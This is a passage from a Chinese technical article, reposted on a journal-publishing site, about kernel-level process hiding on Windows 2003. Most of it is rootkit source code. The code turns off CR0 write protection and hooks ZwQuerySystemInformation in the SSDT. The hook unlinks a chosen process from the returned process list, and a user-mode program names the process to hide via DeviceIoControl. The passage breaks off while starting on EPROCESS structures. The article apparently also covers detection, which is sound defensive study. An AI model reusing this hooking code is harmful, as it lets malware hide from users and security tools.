Windows2003 内核级进程隐藏、侦测技术(4)
作者:佚名; 更新时间:2014-12-05
BasePriority;         //线程的缺省优先级

    ULONG ProcessId;                //进程ID号

    ULONG InheritedFromProcessId;  //继承语柄的进程ID号

    ULONG HandleCount;              //进程打开的语柄数量   

    ULONG Reserved2[2];             // 

    VM_COUNTERS VmCounters;         //虚拟内存的使用情况统计

    IO_COUNTERS IoCounters;         //IO操作的统计,Only For 2000

    struct _SYSTEM_THREADS Threads[1]; //描述进程中各线程的数组

};

  当NextEntryDelta域等于0时表示已经到了进程信息链的末尾。我们要做的仅仅是把要隐藏的进程从链中删除。

  4. 核心实现

//系统服务表入口地址

extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

{

    ……

    __asm{

        mov eax, cr0

        mov CR0VALUE, eax

        and eax, 0fffeffffh //DisableWriteProtect

        mov cr0, eax

    }

    //取得原来ZwQuerySystemInformation的入口地址

RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );

    //Hook

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;

    //EnableWriteProtect

    __asm

    {

        mov eax, CR0VALUE

        mov cr0, eax

    }

    ……

    return STATUS_SUCCESS;

}

  

VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)

{

    ……

    //UnHook恢复系统服务的原始入口地址

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;

    ……

}

  

NTSTATUS HookFunc(

        IN ULONG SystemInformationClass,

        IN PVOID SystemInformation,

        IN ULONG SystemInformationLength,

        OUT PULONG ReturnLength)

{

    NTSTATUS rc;

    struct _SYSTEM_PROCESSES *curr;

    // 保存上一个进程信息的指针

    struct _SYSTEM_PROCESSES *prev = NULL;

    //调用原函数

    rc = (RealZwQuerySystemInformation) (

        SystemInformationClass,

        SystemInformation,

        SystemInformationLength, ReturnLength);

    if(NT_SUCCESS(rc))

    {

if(5 == SystemInformationClass)

//如果系统查询类型是SystemProcessesAndThreadsInformation

        {

            curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

            //加第一个偏移量得到第一个system进程的信息首地址

            if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);

            while(curr)

            {

if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)

                {

                    //找到要隐藏的进程

                    if(prev)

                    {

                       

                        if(curr->NextEntryDelta)

                        {

                            //要删除的信息在中间

                            prev->NextEntryDelta += curr->NextEntryDelta;

                        }

                        else

                        {

                            //要删除的信息在末尾

                            prev->NextEntryDelta = 0;

                        }

                    }

                    else

                    {

                        if(curr->NextEntryDelta)

                        {

                            //要删除的信息在开头

                            (char *)SystemInformation += curr->NextEntryDelta;

                        }

                        else

                        {

                            SystemInformation = NULL;

                        }

                    }

                    //如果链下一个还有其他的进程信息,指针往后移

                    if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);                    else

                    {

                        curr = NULL;

                        break;

                    }

                }

                if(curr != NULL)

                {

                    //把当前指针设置成前一个指针,当前指针后移

                    prev = curr;

                    if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);

                    else curr = NULL;

                }

            } // end while(curr)

        }

    }

    return rc;

}

  通过IOCTL和Ring3级的应用程序通过DeviceIoControl(API)交互信息。Ring3级的用户程序使用,

  DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,

  NULL,0,& BytesReturned,NULL)来通知驱动程序要隐藏的进程的名字。

  枚举和修改活动进程链表来检测和隐藏进程

  1. 介绍EPROCESS块(进程执行块)

  每个进程都由一个EPROCESS块来表示。EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程环境)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。  

  2. 查看EPROCESS结构

kd> !processfields

!processfields

 EPROCESS structure offsets:

    Pcb:                               0x0

    ExitStatus:                        0x6c

    LockEvent:                         0x70

    LockCount:                         0x80

    CreateTime:                        0x88

    ExitTim

核心期刊快速发表
Copyright@2000-2030 论文期刊网 Corporation All Rights Reserved.
《中华人民共和国信息产业部》备案号:ICP备07016076号;《公安部》备案号:33010402003207
本网站专业、正规提供职称论文发表和写作指导服务,并收录了海量免费论文和数百个经国家新闻出版总署审批过的具有国内统一CN刊号与国际标准ISSN刊号的合作期刊,供诸位正确选择和阅读参考,免费论文版权归原作者所有,谨防侵权。联系邮箱:256081@163.com